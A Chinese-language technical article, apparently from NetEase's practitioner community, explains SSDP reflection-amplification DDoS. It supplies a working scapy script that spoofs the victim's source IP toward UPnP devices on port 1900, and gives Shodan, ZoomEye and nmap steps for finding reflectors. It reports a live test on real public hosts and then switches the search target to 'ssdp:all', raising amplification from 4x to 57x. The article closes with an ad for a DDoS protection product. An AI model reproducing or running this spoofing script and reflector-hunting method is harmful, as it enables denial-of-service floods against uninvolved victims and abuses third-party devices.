之前一直搞Web安全,大家都知道使用BurpSuite抓包,一个请求对应一个响应,这是http协议定死了的。所以到了网络层,思维不能存在定势,一个请求包可能对应多个响应包,这也是TCP/IP协议允许的,反射放大就是基于这个原理
OSI七层模型大家学生时代上网络课的时候都学过,但纸上谈兵还是太肤浅,不用WireShark抓个包看看,很难深入理解
安全很多东西可以套用,无论在四层还是在七层,攻击测试无非是抓包,拦截,改包,重放······反射放大最常修改的字段是网络层源IP字段。套路是固定的,关键还是看思路,每一种新型漏洞或者每一种新型DDoS攻击都是人为创造出来的
这里不太喜欢谈论比较没有技术含量的纯的DDoS攻击,靠僵尸网络堆起来的流量,有点“以大欺小”群殴的感觉,我们来讲点通过“以小博大”,“四两拨千斤”的姿态进行的DDoS攻击,需要对特定的网络协议有个清晰的认识,并能够找到破绽为我所用
反射型DDoS,能够让人马上想起“反射型XSS”这种Web漏洞类型,攻击者构造的XSS payload通过服务器反射给受害者,我们也需要某种介质将自己发送的网络数据包反射给受害者,而这种介质可以是互联网上任何服务器任何端口的任何协议,只要这种协议有请求有响应
正常的请求发送过去后,响应会直接沿原路返回,如图所示
但是我们上面说了修改正常的请求的源IP为受害者的IP,响应就会发送给受害者,如图所示
当然我们不会只发送给一个中间介质,否则形成不了DDoS,于是乎又有了下图
就算响应包比请求包字节数大一点,上面的反射其实并没有比纯的DDoS(直接发包)省流量,DDoS的目的就是流量最大化,达到耗尽资源和带宽的目的,因为攻击者这边的资源和带宽是一定的,所以很少有人直接反射,介质必须还要有个属性,就是“放大”,几十倍几百倍的放大已经不得了了,最新的memcache放大似乎已经到了万倍,一万倍是个什么概念?拿某些双向流量收费限制流量的vps打比方吧,我发送1M流量到某个地方,将收到10G流量,瞬间肉疼,如图所示
下面是反射+放大的效果图,A以最小的带宽达到发送到C的流量最大化
注意,这种攻击方式是在没有控制B1,B2,B3···的情况下进行的,所以很隐蔽,难以逆向追踪
怎样才能称为合适的介质呢,我们需要一个可以IP欺骗的、易于反射放大的协议,这种协议存在于很多正常的外网开放的服务器端口中。“端口就像一盒巧克力,你永远不知道你会得到什么”,阿甘说的这句话也可以套用在这里。本章要重点描述的SSDP就是众多可利用的协议之一
SSDP全称Simple Sever Discovery Protocol,它自己都说它简单了,其实真的很简单。为啥我先说它呢,还是因为上面说的Web情结,它的本质是一个在UDP上面的HTTP协议,下面是维基百科里面的图
是不是脑洞大开,以前一直想当然地以为HTTP协议一定是应用在TCP协议上面的,所以以后如果碰到这样的笔试题一定要怼回去
没有必要详细讲解这个协议,毕竟我们不是来寻找协议缺陷的,我们只要知道与DDoS相关的知识即可,大概有下面几点
前人栽树,后人乘凉,找了一下Nmap里面已经有了检测脚本,如下的命令直接使用即可,也可以用WireShark抓一下Nmap的请求数据包
nmap xxx.xxx.xxx.xxx -p 1900 -sU --script=upnp-info
下面是Nmap运行页面,表面该IP返回了SSDP响应包,服务正常,可以被利用,UDP本就是无连接的协议,有时候需要多试几次
下面是用WireShark抓取上面请求响应的接口
我们来算一下它放大了多少倍
(289+289)/139=4倍
再来看一下应用层的HTTP协议是怎样的,如果不告诉你底层是UDP协议,这里看上去跟普通的HTTP请求没什么两样,非常熟悉的200响应状态码
注意一下请求包中的ST:upnp:rootdevice这一行,下面我们会将它跟攻击用的请求包做对比
python的scapy可以很轻松构造并且发送自己构造的四层数据包,用来测试最好不过,直接上代码
from scapy.all import *
import random
def send_udp(srcip,dstip):
x =random.randint(0,65535)
sendmsg = 'M-SEARCH * HTTP/1.1\r\nHost:239.255.255.250:1900\r\nST:upnp:rootdevice\r\nMan:\"ssdp:discover\"\r\nMX:3\r\n\r\n'
i =IP()
i.dst=dstip
i.src=srcip
u=UDP()
u.dport=1900
u.sport=x
send(i/u/sendmsg)
print 'success'
if __name__ == '__main__':
send_udp('1.1.1.1','2.2.2.2')
可以在真实环境里测试下,我们需要两台外网机器,一台发送数据包,一台接收数据包,当然还需要一台反射放大服务器,这个可以在一些公网设备搜索引擎上面进行收集,搞安全的知道国外有shodan,国内有zoomeye,下面我给出了二者的搜索语法
shodan:
upnp port:"1900"
zoomeye:
"ST:upnp:rootdevice"
下面是shodan的搜索页面,中国是重灾区
当然很多搜索结果有延时,有可能已经被修复了,需要用上面的nmap验证一下,很快我们就找到一个可以利用的外网IP,直接开始实验,这里用到了linux上的一个抓包神器tcpdump
机器A:123.*.*.228
反射:93.*.*.227
机器B:118.*.*.34
在机器A使用python脚本发送数据包,将源IP伪造成机器B
send_udp('118.*.*.34','93.*.*.227')
在机器B上进行监控,成功收到数据包
随着SSDP攻击的泛滥,我厂也开始遭受大量的SSDP这种类型的UDP Flood攻击,幸好我们有智能的DDoS监测和清洗系统,后端业务基本无感知。下面是其中一次攻击流量曲线,达到6Gbps左右的流量
下面是攻击时间段的抓包结果
通过上面的分析,其实我们可以判断这里的源IP都是真实的IP,或者说存在真实SSDP服务的端口,而且是新鲜出炉,为我们提供了大量的测试样例,通过收集这些源IP,我们完全可以模拟一次DDoS攻击
对这些源IP进行测试,并对比攻击数据包,发现我们发送的数据包获取的响应包并没有攻击来的多,通过对SSDP协议的深入研究,问题出现在ST:upnp:rootdevice这一行上,我们这里来大致解析一下请求的数据包
Host:这里必须使用IANA(Internet Assigned Numbers Authority)为SSDP预留的组播地址:239.255.255.250:1900
Man:必须是"ssdp:discover",注意这里的引号不能省略
Mx:1到5之间的一个值,表示最大的等待响应的秒数
ST:Search Target的缩写,表示搜索的节点类型,ST是要搜索的目标,如果搜索所有的设备和服务,则为ssdp:all,如果是搜索根设备,则为upnp:rootdevice
很明显让所有服务和设备应答,和只让根设备应答,发出来的数据包是完全不同的数量级,立马修改python发包脚本
def send_udp(srcip,dstip):
x =random.randint(0,65535)
sendmsg = 'M-SEARCH * HTTP/1.1\r\nHost:239.255.255.250:1900\r\nST:ssdp:all\r\nMan:\"ssdp:discover\"\r\nMX:3\r\n\r\n'
i =IP()
i.dst=dstip
i.src=srcip
u=UDP()
u.dport=1900
u.sport=x
send(i/u/sendmsg)
print 'success'
为了与上面的测试部分的倍数形成对比,使用相同的SSDP服务器作为反射源,成功获取大量响应包
这是七层报文
使用WireShark的统计功能来计算倍数
放大倍数(7682-132)/132=57倍,一个点的修改,提高了十几倍的攻击性能
攻击的整个流程现在就明朗了
网易云DDoS 高防提供1T 超大防护带宽,为您提供超强的 DDoS 攻击保障服务。点击可免费试用
网易云新用户大礼包:https://www.163yun.com/gift
本文来自网易实践者社区,经作者苏斌授权发布。